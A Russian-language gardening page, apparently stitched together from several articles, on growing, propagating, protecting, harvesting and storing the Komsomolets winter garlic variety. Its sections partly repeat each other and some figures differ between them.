1 просмотров
Рейтинг статьи
1 звезда 2 звезды 3 звезды 4 звезды 5 звезд
Загрузка...

Как размножают сорт чеснока комсомолец

Сорт чеснока Комсомолец,описание

Чеснок пользуется популярностью у населения и выращивают его практически все, у кого есть приусадебные участки. Многим овощеводам нравится выращивать зимние сорта. Они привлекают крупной величины зубцами и отличными вкусовыми свойствами. Данными характеристиками наделен озимый сорт Комсомолец.

Сорт чеснока Комсомолец характеризуется высокой морозоустойчивостью, острым вкусом

Характеристика чеснока Комсомолец

При описании озимого сорта Комсомолец, отмечается, что это один из высокоурожайных видов. Его луковица характеризуется крупным размером, и высокой плотностью. Форма плода округло-плоская, масса — до 30 грамм. Головка чеснока Комсомолец может иметь от 6 до 13 зубцов. Сорт является средней спелости, дающий стрелки. Вегетационный период длится 120 дней. Комсомолец выпускает до семи зеленых перьев с восковым налетом. Головка плода покрыта сухими чешуйками грязновато белого окраса с оттенком фиолетового цвета. Озимый сорт Комсомолец имеет острый привкус. Хорош в свежем виде и в переработанном.

Посадка

Комсомолец любит хорошо освещенную местность. Поэтому выбирая место для посадки, необходимо учитывать это. Если будет небольшая тень, у Комсомольца вырастут небольшие плоды и не будет у них резкого своеобразного для сорта привкуса. Важно чтобы рядом не росли кусты и деревья Не любит плод обильно увлажненного грунта. Он хорошо растет на суглинистых и не тяжелых землях. Перед посадкой, для хорошего урожая, грядка удобряется. Для этого вносится перегной или хороший компост (один килограмм подкормки на квадратный метр земли). Вместе с органическими подкормками добавляются комплексные минеральные удобрения.

Озимый чеснок желательно сажать после бобовых, капусты, огурцов. Но не желательно после лука или картофеля. Ежегодно посадочное место меняется. На исходное место плод возвращать по истечении трех лет. Так, овощ избавляется от болезней.

Самые хорошие результаты дает посадка чеснока осенью

Перед посадкой просмотреть зубцы и выбросить порченые. Для посадочного материала используются крупные зубцы из предыдущего урожая или выращенные молодые зубчики из подзимнего сева. Чесночные зубцы перед посадкой дезинфицируются слабым раствором марганцовки. Поместить плоды в раствор на 30 минут.

Посадка Комсомольца проводится в конце сентября или в начале октября. Высаживая его, учитываются такие нюансы:

  • между рядами должно быть расстояние не меньше, чем 35 см.;
  • расстояние между зубчиками в ряду должно быть около 10 см.;
  • не следует сильно заглублять зубцы (достаточно на 6 см.).

Как размножать Комсомолец?

Описываемый чеснок принадлежит к стрелкующему виду, поэтому размножается он не только зубчиками, но и воздушными луковичками или их еще называют бульбочки. Размножение луковичками, дает возможность обновить посадочный материал, поскольку чеснок через некоторое время может выродиться.

Такой способ очень экономичен, так как в соцветии одной стрелки вызревает от 50 до 200 семенных луковиц. Количество семени зависит от сорта. Озимый сорт Комсомолец характеризуется высокой урожайностью и на его стрелках вызреть не одна сотня семени. Оставив на грядке пять стрелок, можно получить около тысячи семян.

После посева Комсомольца, хорошо утеплить грядку. Для мульчи можно взять опилки. С приходом весны, грядка открывается и если грунт требует влаги, его необходимо полить. Но чеснок не любит обильного полива, но и сухости тоже. Все должно быть в меру. За месяц до начала сбора урожая, останавливают полив чеснока, так как в этот период плод наполняется своим особым привкусом.

На грядке без мульчирования, нужно систематически рыхлить грунт, избавляться от сорняков. Если нет цели размножать Комсомолец через семя, необходимо обрывать стрелки. Их отламывают аккуратно на уровне верхнего листа. Желательно удалять стрелку, когда она имеет высоту 10–15 сантиметров.

Уборка

Полное созревание плода Комсомольца приходится через 105–110 дней после первых всходов. Вот признаки того, что чеснок созрел:

  • на 2/3 пожелтели перья;
  • засохли нижние листья;
  • стебель у основания стал тоньше или полег;
  • на стрелках потрескались семенные коробочки;
  • верхний слой чешуйки уплотнился и приобрел небольшую прозрачность.

Перед уборкой чеснока необходимо полностью прекратить его полив и дать земле хорошо просохнуть

Выкапывать чеснок лучше в солнечный день утром и разложить его на грядке. За день плоды просохнут. Затем перенести урожай в сухое помещение и досушить в течение 2–3 недели. Стебли срезаются только, когда чеснок полностью высохнет.

Не допускать перезревания или незрелости плодов, поскольку он будет плохо сохраняться и не будет иметь яркого вкуса и аромата.

Значение чеснока

Еще в тибетских монастырях понимали значение чеснока. Восточные врачи рекомендовали его в качестве лекарства. Сейчас чеснок, в большей мере, применяется как пряность, но многие знают его полезные для здоровья свойства. Говорят, что чеснок способен вылечить все болезни и притормозить старость. В древности при описании чеснока, уделялось большое внимание его магической силе. Было известно, что он придает силу, храбрость, защищает от злых духов нечистой силы. Чеснок, особенно в молодом виде, достаточно богат витаминами и микроэлементами, что очень ценно для здоровья человека.

Особенности выращивания озимого чеснока Комсомолец

Среди многообразия разновидностей озимого чеснока сорт Комсомолец выделяется своей неприхотливостью и урожайностью. Он неплохо хранится, может быть использован для консервирования. Чеснок Комсомолец рекомендован для выращивания на европейской территории России, вплоть до Ленинградской области.

Описание и характеристики сорта

Стрелкующийся чеснок подзимнего посева был выведен в Воронежской области в поселке Комсомольский (отсюда и пошло название сорта) более 40 лет назад. Районирован он изначально для Центрально-Черноземного района страны, но сейчас выращивается повсеместно.

Подробное описание сорта чеснока Комсомолец:

  • срок вызревания 100-120 суток от появления ростков весной (среднеспелый);
  • головки среднего размера (35-55 г), покрытые сиренево-серой оболочкой;
  • зубчиков в головке от 6 до 10, оболочка бежевая;
  • вкус острый, аромат насыщенный чесночный;
  • стрелка есть, ее высота достигает 1 м;
  • бульбочек в соцветии насчитывается до 80 штук;
  • урожайность составляет до 1,5 кг с 1 кв. м грунта;
  • собранный урожай в правильных условиях хранится до декабря.

Надземная часть растения, без учета стрелки, достигает 45 см длины. Листья изумрудного цвета, жесткие, с восковым налетом. Толщина стебля у основания 7-10 мм.

Сорт устойчив к повышенной влажности грунта, но плохо переносит засуху. В условиях прохладного лета хорошо формирует головку, при условии регулярного внесения удобрения.

Достоинства и недостатки сорта

За столько лет выращивания чеснока Комсомолец, огородники выяснили достоинства растения:

  • отличная зимостойкость, даже под скудным снеговым покровом;
  • иммунитет к бактериальный гнили, средняя устойчивость к фузариозу;
  • хороший вкус и выраженный аромат;
  • длительное хранение, не характерное для озимого сорта.

К недостаткам можно отнести некрупный размер головок (в диаметре не более 4,5 см), и урожайность, зависящую от плодородия грунта.

Внимание! На скудных песчаных или тяжелых глинистых землях Комсомолец образует урожай мелких головок, до 2 см в поперечнике.

Как размножают сорт чеснока Комсомолец

Стрелкующиеся разновидности острого овоща можно рассаживать двумя способами:

  • зубцами, взятыми из товарной головки;
  • бульбочками, созревшими на семенной стрелке.

Оба способа имеют свои плюсы и минусы. Размножение зубчиками позволяет уже на следующий год собрать полновесный продовольственный чеснок. Сажая бульбочки, овощевод получает в следующем сезоне луковки — однозубки, которые нужно снова посадить осенью. На второй год выращивания собирают товарный чеснок, который отличается крупностью и чистотой.

Важно! Посадка бульбочек проводится, когда нужно быстро размножить нужный сорт. Годится этот метод и для оздоровления посадочного материала. Бульбочки свободны от многих инфекций, гнездящихся в почве.

Правила и этапы посадки

Для посева культуры выбирают ровный, освещенный солнцем участок. Высаженный даже в кружевной тени от кроны дерева, культура завязывает мелкую головку.

Чеснок озимый Комсомолец нуждается в плодородной, рыхлой земле, со слабокислой или нейтральной реакцией. Лучшие типы почв для растения:

  • плодородный суглинок,
  • супесь,
  • дерново-подзолистый грунт.

Глинистый, переувлажненный грунт, характерный для северных регионов страны, разрыхляют внесением песка или ПГС (песчано-гравийной смеси). На каждый метр грядки под перекопку добавляют до ведра песка.

Перед посадкой зубчиков грунт удобряют перегноем (до 6 кг на 1 кв. м), древесной золой (1-2 стакана). Если кислотность почвы высокая, ее приводят в норму внесением доломитовой или костной муки — 1-2 стакана на 1 кв. м.

Можно вместо органики внести комплексное минеральное удобрение в гранулах. Гранулы начнут растворяться в почве после таяния снега, сразу же насыщая проснувшиеся растения.

Важно! Лучшими предшественниками для чеснока являются: горох, капуста, огурцы и тыква. Нельзя сажать его после репчатого лука и картофеля. Эти же растения не размещают на соседних грядках с чесноком.

Сажать озимый чеснок нужно после листопада, когда температура днем опустится до +5..+7 градусов. Обычный срок для средней полосы и севера страны — с конца сентября до середины октября.

Здоровый посадочный материал не требует специальной подготовки перед посевом. Для грядки отбирают зубчики среднего размера и бульбочки, не менее 5 мм в диаметре.

Зубцы чеснока высаживают на глубину 8-12 см. Расстояние между растениями составляет 15 см в рядке и 25-30 см в междурядьях. Бульбочки нужно сажать на 2-3 см, с промежутками в 10-15 см.

Засеянную грядку, после первых заморозков, укрывают слоем соломы, сена, опавшей листвы или опилок. Высота мульчи 10-15 см. Такое утепление необходимо для лучшей сохранности посадочного материала зимой.

Специфика выращивания

Весной, с момента таяния снега, чесночную грядку освобождают от мульчи. Утепляющий покров будет задерживать прогрев почвы и замедлит появление всходов.

Уход за растением заключается в поддержании междурядий в рыхлом и свободном от сорняков состоянии, поливе и подкормках. Поливать посадки требуется только в жаркий и засушливый сезон. Особенно нуждается во влаге чеснок в период роста головок, в конце июня — начале июля.

Чеснок (сорт Комсомолец) нужно подкармливать 2 раза за сезон. Первый раз вносят жидкое азотное удобрение (раствор коровяка, настой сорной травы или карбамид), когда высота растений достигнет 20 см. Вторую, фосфорно-калийную подкормку дают в конце июня. Делают водный раствор суперфосфата и сульфата калия, или поливают растения зольным настоем.

Внимание! Если растения посажены для получения продовольственных головок, необходимо обрезать стрелки до завязывания воздушных бульбочек. Одновременное образование семян и головки ослабляет чеснок, снижая его урожайность.

За 2 недели до уборки прекращают поливать грядку с овощем. Если стоит дождливая погода, необходимо регулярно рыхлить грунт между рядками, пропуская кислород вглубь.

Вредители и борьба с ними

Чесноку досаждают такие вредные насекомые: трипсы, корневой клещ, долгоносик, тля, луковая муха, нематода чесночная. Степень поражения растений зависит от агротехники. Больше страдает чеснок, посаженный без соблюдения севооборота.

Пораженные растения отстают в росте, их листья желтеют и усыхают. При внимательном рассмотрении можно обнаружить насекомых в стеблях, на листьях или около корней.

Пораженный чеснок опрыскивают инсектицидами, ими же поливают грунт вблизи растений. Используют такие препараты: Метафос, Видат, Актару, Актофит, Фитоверм. Против тли и долгоносика может помочь полив чеснока настоем табака. Кратность обработок 2-3.

Уборка и хранение

Убирают культуру в июле — начале августа, когда кожура на головке подсохнет и станет фиолетово-серого цвета. Косвенным признаком спелости является пожелтение и подсыхание листьев. Опоздание с уборкой чревато распаданием головки на зубцы, растрескиванием кожуры чеснока. Такой овощ не пригоден для хранения, его пускают в переработку.

Совет! Чтобы точно определить время сбора урожая чеснока, на грядке оставляют 2-3 растения с не удаленными стрелками. Когда оболочка, покрывающая бульбочки, лопнет, а семена покроются плотной кожурой, пора выкапывать растения.

Убирают культуру в сухой солнечный день. Чеснок выкапывают вилами или лопатой, стараясь не повредить головки. Выдергивать его за листья из земли нельзя.

После выкопки чеснок просушивают, не обрезая ботву, несколько дней. Лучше разложить растения под навесом на сквозняке. После просушки ботву и корни обрезают на расстоянии 5 см от головки. Овощ фасуют в сетчатые мешки, решетчатые или картонные ящики.

Хранят урожай при температуре +15..+18 градусов и влажности 55 %. В сухом и прохладном месте здоровый чеснок может лежать до нового года. При повышении влажности, овощи необходимо перебирать и просушивать, чтобы избежать гниения.

Озимый сорт чеснока Комсомолец зарекомендовал себя как неприхотливая и холодостойкая культура. При условии посадки его в плодородный грунт, сорт порадует огородника обильным урожаем.

Описание сорта чеснока Комсомолец

Чеснок Комсомолец известен благодаря своей холодостойкости, высоким вкусовым качествам, обилию питательных веществ в составе, простоте ухода. Появился он еще во второй половине XX века и предназначался преимущественно для выращивания на черноземах в центральных областях России. Но благодаря отличным характеристикам, особенностям, которые выделяют его среди многих других зимних сортов, он быстро распространился по всей Азии и Европе.

Описание сорта Комсомолец

Чеснок Комсомолец относится к озимым сортам. Созревает за 110-120 дней. Урожайность 1,2-1,4 кг/м. кв. Высота его стебля (стрелки) может достигать 0,9-1,2 метров. На стрелке ежегодно вызревает 50-200 воздушных луковичек. Длина отдельных листьев, которые нередко используют в пищу – 35-40 см. На каждом растении созревает по 7-9 перьев темно-зеленого цвета покрытых тонким восковым налетом.

Головки плотные, средних размеров. Масса колеблется от 30 до 100 граммов

Головки плотные, средних размеров. Масса колеблется от 30 до 100 граммов в зависимости от условий выращивания, агротехники, земли и других факторов. В каждой головке 7-11 зубцов, весьма крупного размера. Внешние чешуйки грязно-белые с фиолетовым оттенком, а внутренние кофейно-фиолетовые. Вкус зубков острый, насыщенный, чесночный, без привкусов. Перья имеют нежную структуру (пока молодые), островатые, подходят для салатов и приготовления первых и вторых блюд.

Их технических характеристик выделяется:

  • морозоустойчивость;
  • устойчивость к бактериальной гнили;
  • простота ухода;
  • высокая урожайность.

Как размножают сорт чеснока Комсомолец?

Чеснок Комсомолец размножается двумя методами: зубцы и луковички.

    Зубцами его очень просто размножать и это самый популярный метод. Он не требует особых сил или специальных дополнительных действий. Чеснок откладывается или покупается нужный сорт, разбирается на зубцы и высаживается, а в следующем году можно собирать урожай.

Луковицы или бульбочки дают большую луковицу только на 2 год

Куда сажать чеснок?

Место под посадку чеснока сорта Комсомолец стоит выбирать заранее. Хоть это не капризная культура, но рассматриваемый сорт дает большие урожаи только при определенных условиях.

    Место под посадку должно быть освещенным, кусты и деревья будут затенять солнце, поэтому стоит сажать подальше от них, а также от заборов, стены дома. В противном случае чесноку может не хватить солнца, и это значительно замедлит рост луковиц.

Место под посадку должно быть освещенным

Важно! Сажать чеснок нужно из года в год в разных местах. Посадка на одном и том же месте приведет к разрастанию колоний вредителей и болезней, атакующих чеснок. Но, кроме того, земля будет очень быстро обедняться.

Как правильно сажать чеснок?

Перед посадкой чеснока сорта Комсомолец землю хорошо удобряют компостом и комплексными минеральными туками. Если земля очень плотная, тяжелая, можно разбавить ее торфом или песком. Для этого на участок под высадку завозится определенное количество материала и смешивается с местной землей.

Также перед посадкой стоит рассортировать посадочный материал. Большие, средние и малые зубцы стоит сажать в разные ряды, так как созревание у них проходит в разное время. Каждый зубок осматривается – больные зубчики нужно сразу удалить, хорошего урожая они не дадут. После осмотра и фасовки зубки или луковички обрабатываются слабым раствором медного купороса или марганцовки.

Сажать озимый чеснок Комсомолец в центральных областях лучше всего во второй половине октября

Сажать озимый чеснок Комсомолец в центральных областях лучше всего во второй половине октября. Но это лишь приблизительное время, так как в зависимости от особенностей климата период может меняться. Так, в более холодных регионах, посадка приходится на середину или конец сентября.

Сажают чеснок в ряды, отдаленные на 35 см друг от друга. Расстояние между посадочным материалом и глубина его заделки зависят от того, что используется – зубки или луковички.

  • Луковицы сажаются на глубину 2-3 см, с расстоянием 6-7 см друг от друга.
  • Зубцы заглубляют на 5-6 см и сажают с расстоянием 10 см.

После посадки чеснок притрушивают землей и слегка уплотняют землю руками.

Как правильно ухаживать за чесноком?

Завершив посадку, стоит мульчировать почву на 10-15 см торфом, опилками, агровологном. Подобная мульча будет удерживать влажность в земле, чеснок Комсомолец можно будет реже поливать, но кроме того, это дополнительная защита от морозов, сорняков и питательное удобрение (если мульча органическая). Все остальные меры ухода откладываются до весны. Даже полив проводить не стоит, ведь этот сорт не очень любит влагу, а потому осенних дождей ему будет вполне достаточно.

Весной, после того, как сошел снег, нужно убрать мульчу и слегка взрыхлить междурядья. Но сами грядки трогать нельзя, так как недалеко от поверхности грунта могут быть молодые ростки чеснока, которые неосторожным движением сапки можно попросту срезать.

Завершив посадку, стоит мульчировать почву на 10-15 см торфом, опилками, агровологном

Поливы проводят по мере необходимости. Очень часто вредно, но и недостаток влаги приведет к замедленному росту. Примерно за 1 месяц до сбора урожая поливы вообще прекращаются, чтобы головка могла вызреть.

Подкормки в виде минеральных и органических смесей можно использовать не более 2-3 раз за весь период роста чеснока сорта Комсомолец и все они приходятся именно на весенний период. Обычно их совмещают с поливами или проводят после них. Из распространенных веществ стоит порекомендовать раствор навоза, компота, нитрофоску, нитроаммофоску, мочевину, суперфосфат. Каждое из этих средств используют по отдельности, а не в комплексе, так как сами по себе они очень сильные и концентрированные.

Когда появятся ростки, можно начинать рыхлить грядки, а не только междурядья. При этом делать это стоит аккуратно. В период появления стрелки, нужно определиться стоит ее оставлять или нет. И если стрелки не нужны, их удаляют примерно на уровне верхнего листа, в случае, если они уже высокие, но лучше отрезать их тогда, когда они достигли лишь 10-15 см.

Уборка урожая чеснока

Выкапывают чеснок Комсомолец, когда листья пожелтеют, а нижние подсохнут. Стебель у основания тоже будет подсыхать и истончаться. Если есть стрелка, то можно определить и по семенным коробочкам – к этому времени они как раз растрескиваются.

Урожайность чеснока Комсомолец

Уборку всегда откладывают на утро или вечер. Но лучше все же утром, чтобы за целый день головки могли подсохнуть прямо на грядке. Их подкапывают, вытягивают за стебель и раскладывают на огороде. Даже если земля сухая и погода тоже, скорее всего сами головки будут влажными – это нормально, и именно поэтому нужно их подсушивать.

После того, как головки подсохли, их обтирают от налипшей земли, заносят в помещение и раскладывают на полу или на столе, чтобы они сохли еще 2-3 недели. Можно также связать их в пучки и развесить над потолком, чтобы места меньше занимали. Только тогда, когда головки высохли (а вернее их шелуха), можно обрезать стебель, корешки, расфасовать чеснок по размеру, качеству и разложить в ящики или сетки для хранения.

ВИДЕО — Посадка чеснока под зиму

Сорт чеснока Комсомолец – особенности посадки и выращивания

Чеснок Комсомолец – озимый сорт с отличными агротехническими характеристиками. Неприхотливость культуры в сочетании с озимой посадкой позволяет получать обильные урожаи чеснока уже в июне-июле месяце. По мнению специалистов, Комсомолец – один из лучших озимых сортов.

Происхождение «Комсомольца»

История сорта Комсомолец начинается в 60-х гг. прошлого века. Его создатели – селекционеры из Воронежа, стремились создать особо зимостойкий чеснок специально для Центрально-Черноземного региона. Сорт считается официально выведенным и районированным с 1978 г. В результате селекции, использовавшей местные зимостойкие культуры, был получен неприхотливый озимый чеснок со звучным для тех времен названием – «Комсомолец». Со временем сорт из Центрального Черноземья распространился по всей территории России.

Описание и характеристики сорта

  • Подземная часть. Головка крупная, плоскоокруглой формы, покрыта чешуйками грязно белого цвета. Внутренние чешуйки – кофейно-фиолетового оттенка. Зубцы острые, с насыщенным чесночным вкусом, без всяких привкусов.
  • Наземная часть. Плотный стебель состоит из 8-9 зелёных листьев с восковой поверхностью. Длина листьев – до 40 см. Листья очень сочные, приятные на вкус.
  • Соцветия. Растение пускает стрелки длиной 80-120 см. На верхушке – сотни мелких луковиц.

Агротехнические характеристики чеснока Комсомолец:

Достоинства и недостатки сорта

Преимущества сорта Комсомолец:

  • Высокая морозостойкость.
  • Иммунитет к болезням, особенно к бактериальной гнили.
  • Простой уход.
  • Высокая урожайность.
  • Хорошая лёжкость.
  • Вкусен в любом виде – в свежем и переработанном.
  • Склонен к стрелкованию.
  • Урожайность сильно зависит от плодородия почвы.

Где сажать чеснок?

Сорт «Комсомолец» даёт высокие урожаи при соблюдении определённых условий. К посадочному месту предъявляются такие требования:

  • Хорошая освещённость. В полутени головки вырастают некрупными и содержат мало эфирных масел.
  • Умеренная влажность. При чрезмерном увлажнении сорт болеет. На участке не должна застаиваться вода.
  • Рыхлые суглинистые или супесчаные грунты. Дренажные свойства тяжёлых почв улучшают, внося торф или речной песок.
  • Плодородность. Этот сорт нуждается в питательных, хорошо удобренных почвах. При перекопке обязательно вносят перегной/компост и минеральные удобрения.
  • Соблюдение севооборота. Благоприятные предшественники – кабачки, огурцы, капуста, бобовые культуры. Неблагоприятные предшественники – лук, картофель, помидоры.

Правила и этапы посадки

Высаживают чеснок в октябре, чтобы до стойких заморозков оставалось время на укоренение. В центральных областях высаживать чеснок рекомендуется во вторую половину октября. Точный срок высадки зависит от климатических особенностей региона и от текущей погоды. В регионах с особо холодными зимами высадку начинают раньше – в середине или конце сентября.

  1. Подготовка семенного материала. Урожайность чеснока зависит от качества семян. Из семенного материала выбраковывают попорченные и повреждённые экземпляры. Обязательно дезинфицируют семенной материал в растворах:
    • соли;
    • марганца;
    • купороса.
  2. Подготовка участка. Перекапывают почву, внося компост и комплексные минеральные удобрения. При необходимости – если грунты тяжёлые, вносят торф или песок.
  3. Высадка зубков/луковичек. Схема посадки зависит от вида посевного материала:
    • Зубки. Между соседними зубками – 10 см. Заглубление – 5-6 см.
    • Луковички. Между соседними луковичками – 6-8 см. Заглубление – 2-3 см.

Расстояние между рядами одинаковое при любом варианте размножения – 25-35 см. Высаженный материал слегка присыпают землей и утрамбовывают руками.

Посыпав грядки мульчей, можно до весны не вспоминать о посадках – все остальные агротехнические мероприятия начинаются с её приходом.

Как правильно ухаживать за чесноком?

Особенности ухода за озимым чесноком Комсомолец:

  • Полив. Орошение должно быть умеренным. Чеснок не заливают, но и не пересушивают. За месяц перед уборкой поливы прекращают.
  • Рыхление. Грунт аккуратно рыхлят после поливов, одновременно убирая сорную растительность.
  • Срезание стрелок. Чтобы головки вырастали большими, стрелки обламывают, когда они вырастают до 10-15 см.
  • Подкормка. Удобрения вносят 2-3 раза за сезон — во время полива. Оптимальное удобрение для чеснока – Амофоска (15 г на 1 кв. м) или жидкий коровяк.

Способы размножения

  • Зубками. Расстояние между соседними зубками – в 10 см. Глубина посадки – 4-6 см. Расстояние между соседними рядами – 30-35 см. При размножении зубками, урожай получают на следующее лето.
  • Луковичками. Это воздушные семена, вырастающие на стрелке. Такой способ посадки позволяет обновить сорт, так как при постоянном размножении зубками он постепенно теряет свои достоинства. На 1 кв. м высаживают около 100 г луковичек.

С учётом плодовитости «Комсомольца», размножение луковичками выглядит особенно привлекательно. На каждой стрелке вырастает несколько сотен воздушных луковичек. Достаточно оставить на грядке 5-6 стрелок, чтобы получить около 1000 единиц посевного материала. Правда, при таком способе размножения, урожая приходится ждать два года – на следующее лето получают только луковки-однозубки, которые снова идут на посадку. И уже из них вырастают крупные качественные головки чеснока из нескольких зубцов. Способ долгий, но недорогой, а главное – обновляется семенной материал.

Вредители и борьба с ними

Чеснок, являясь сам по себе защитником для многих растений от болезней и вредителей, также может стать жертвой насекомых, грибков и вирусов.

Способы борьбы с вредителями и болезнями чеснока

Вредители и болезни

Сроки созревания
Период вегетации, дней
Вес головок, г
Количество зубков в головке, шт.
Урожайность, кг/кв. м Симптомы поражения
Тля Мелкие насекомые образуют на молодых листьях чеснока колонии. Высасывая из листьев сок, лишают растение части питательных веществ. Поражённые побеги становятся сморщенными и желтеют. Распространяясь по всему растению, вызывают его гибель. Опрыскивать раствором нашатыря. Его готовят из нашатырного спирта (50 мл) и натёртого хозяйственного мыла (50 г) – разводят в 10 л. Подойдёт и простой мыльный раствор – брусок, натёртый в стружку, растворяют в 5 л воды.
Стеблевая нематода Сложно заметить проблему – белые тонкие черви очень малы – их длина всего 1,5 мм. Питаются соками растения. Листья скручиваются, сохнут, корни гниют.
  • На почве, заражённой нематодами, чеснок не высаживают 4 года.
  • В междурядьях высаживают календулу.
  • Почву перед посадкой поливают солевым раствором (20 г на 3 л воды).
  • перед высадкой посевной материал замачивают в солёном или зольном растворе.
  • В глинистые почвы вносят торф или песок.
Луковая муха С виду вредитель – обычная муха, но меньшего размера. Личинки мухи портят зубки чеснока, выгрызая их мякоть.
  • Сыплют на грядки смесь из табака, золы и чёрного молотого перца.
  • Поливают почву табачным раствором – 300 г табака и 20 г чёрного перца заливают 3 л кипятка. Настояв 2-е суток, процеживают, добавляют натёртое хозяйственное мыло (1 брусок). Добавляют воду, доводя объём до 10 л.
Фузариоз Желтеют листья, луковицы становятся мягкими, корни гниют и отмирают. Растение легко извлекается из почвы. Второе название – гниль донца чеснока.
  • Удаляют из почвы больные луковицы.
  • Используют для посадки только здоровые луковицы.
  • На заражённый участок не высаживают чеснок 5 лет.
  • Перед закладкой на хранение, тщательно сушат головки.
Ржавчина Образование на листьях чёрных и красных точек, со временем распространяющихся по всей листовой пластине. Растение прекращает развитие.
  • Обрабатывают растения средством Хом или медным купоросом.
  • Опрыскивают чеснок дегтярным мылом, растворённым в воде.
Ложная мучнистая роса Желтеет и деформируется стебель. Замедляется развитие. Опрыскивают фунгицидами – Тирамом, Арцеридой, Фентиурамом.

Уборка и хранение

Между появлением всходов озимого чеснока и уборкой проходит около 100 дней. Но этот срок может варьироваться от 80 до 110 дней, поэтому опытные огородники ориентируются не столько на сроки, сколько на внешние признаки растения.

Признаки, свидетельствующие о готовности чесночных головок:

  • большинство перьев пожелтели;
  • стебель у основания истончился и лёг на грунт;
  • все нижние листья стали жёлтыми;
  • семенные коробочки растрескались;
  • чешуя головок стала прозрачной

Особенности уборки озимого чеснока:

  1. Убедитесь, что чеснок созрел, ориентируясь на внешние признаки.
  2. Уборку лучше всего организовать ранним солнечным утром.
  3. Вырванный чеснок разложите на земле – чтобы подсох на солнце.
  4. Занесите чеснок в сухое вентилируемое помещение – чтобы он полностью высох. Можно также досушивать урожай под навесом. Досушивание длится несколько недель.
  5. Обрежьте высохшие побеги после их полного высыхания.
  6. Высохший чеснок перебирают, отсортировывая головки с изъянами. На хранение не закладывают сморщенный чеснок – он не только сам испортится, но и станет источником болезни для здоровых головок.
  7. Отобранные головки укладывают в ящики или мешки, которые относят в погреб.
  8. В течение зимы чеснок проветривают – для предотвращения гниения.

Если полив грядок прекращён вовремя, и правильно определено время уборки, то острота, вкус и аромат чеснока будут максимально приближенными к совершенству. Перезрелый и недозрелый чеснок отличается низкими вкусовыми характеристиками.

Если слишком рано начать уборку, то во время хранения будет потеряно до 20% урожая. Если наоборот затянуть со сбором урожая, то во время вырывания/выкапывания, перезревшие головки будут разваливаться на части, а затем засохнут раньше срока, потеряв товарный вид.

Убирают чеснок выкапыванием или вручную – это зависит от типа почвы:

  • на чернозёмах и тяжёлых суглинках урожай выкапывают;
  • на торфяных и супесчаных почвах – вырывают.

При выборе способа уборки учитывают плотность почвы. Главное, чтобы во время уборки чесночные головки не повреждались, не растрескивались. При создании благоприятных условий, чеснок хранится 2-3 месяца – зимние сорта долго не хранятся. Поэтому озимый чеснок стараются реализовать или переработать сразу после уборки.

Отзывы о сорте «Комсомолец»

Озимый чеснок «Комсомолец» очень популярен у огородников. Они сполна оценили достоинства этого неприхотливого и урожайного сорта.

Чеснок Комсомолец – надёжный высокоурожайный сорт, который не вымерзнет и не оставит огородников без урожая. Не требуя особого ухода, эта озимая культура позволяет получать крупные головки чеснока с отличным товарным видом и превосходными вкусовыми характеристиками.

Описание сорта чеснока Комсомолец, особенности выращивания и ухода

Чеснок Комсомолец был выведен в 1978 году воронежскими селекционерами. Специалисты оценивают его как один из лучших сортов озимого чеснока.

Описание сорта

Комсомолец — среднеспелый стрелкующийся сорт, характеризующийся отличной устойчивостью к морозам. Луковица его крупная и плотная. Форма — плоскоокруглая, вес — до 30 г. Количество зубчиков в одной головке может варьироваться от 6 до 14. Период вегетации равен 120 дням. Для сорта характерен острый привкус. Подходит как для употребления в свежем виде, так и для всех видов переработки.

Особенности выращивания

Данный сорт очень любит солнечный свет. Этот факт необходимо принять во внимание при выборе места для посадки. Комсомолец, выращенный в тени, будет заметно уступать по вкусовым качествам чесноку того же сорта, получившему при росте достаточное количество света и тепла. Поэтому рекомендуется сажать его подальше от деревьев и высоких кустарников.

Сорт любит суглинистую почву и не нуждается в регулярном поливе. Перед посадкой в грунт грядку необходимо удобрить. Лучше всего подойдет перегной и минеральные удобрения на основе калия и фосфора.

Следует отметить, что озимый чеснок рекомендуется сажать после капусты, огурцов или бобовых культур.

Чтобы избежать заболеваний, необходимо каждый год выбирать новое место для посадки. На исходное — возвращать не ранее, чем через 3 года.

Сажают Комсомолец в сентябре-октябре. При высадке специалисты советуют соблюдать следующие правила:

  • Расстояние между рядами на грядке около 40 см.
  • Расстояние между зубчиками в ряду — 8–12 см.
  • Посадка производится на глубину 5–7 см.

Особенности размножения сорта

Ввиду того что Комсомолец является стрелкующимся, возможно два варианта его размножения:

  • Зубчиками. Это более простой способ, позволяющий собрать урожай уже в следующий сезон;
  • Семенными луковичками. Данный способ более является более сложным и занимает 2 года. Последовательность действий следующая:
  1. Высаживаем семенные луковички осенью в грунт.
  2. Выросшие к лету однозубые луковицы сажаем снова.
  3. На следующее лето получаем полноценную крупную головку чеснока.

Независимо от выбранного вами способа размножения чеснока, не стоит забывать, что хорошей урожайности можно достичь только при использовании качественного посевного материала.

Особенности ухода

После того как чеснок посажен, землю рекомендуют мульчировать на 12–15 см торфом или опилками. Это позволит сохранить в почве влажность и обеспечит надежную защиту от холода и сорной травы. Кроме того, мульча будет служить хорошим удобрением (при условии, что она органическая). Прочие меры ухода, включая полив, следует отложить до весны. Чеснок получит всю необходимую влагу от дождей.

Весной, после схода снега, мульчу убирают и немного рыхлят пространство между рядами. А вот сами грядки лучше не трогать, поскольку велика вероятность повредить молодые ростки чеснока.

Поливают чеснок крайне редко, а за месяц до сбора урожая поливы рекомендуется вообще прекратить.

Подкормки минеральными удобрениями производят только 2–3 раза за все время роста чеснока и только весной. Для этих целей используются следующие вещества:

Применяют их выборочно, а не все сразу, поскольку каждое из этих удобрений является достаточно сильным.

Сбор урожая

Полного созревания сорт Комсомолец достигает через 100–110 дней после первых всходов. Луковицы можно смело выкапывать при наличии следующих признаков:

  • Перья стали желтыми на две трети.
  • Нижние листья засохли.
  • Семенные коробочки раскрылись.
  • Стебель полег.

Чеснок советуют убирать рано утром, после чего раскладывать его на грядке, чтобы луковицы за день высохли на солнце. Далее, головки в продолжение 2–3 недель досушивают в помещении.

Следует особо отметить важность своевременной уборки урожая чеснока. Так, слишком ранняя или слишком поздняя уборка отрицательно сказывается на вкусовых качествах и на сроках хранения культуры.

Ссылка на основную публикацию
Adblock
detector
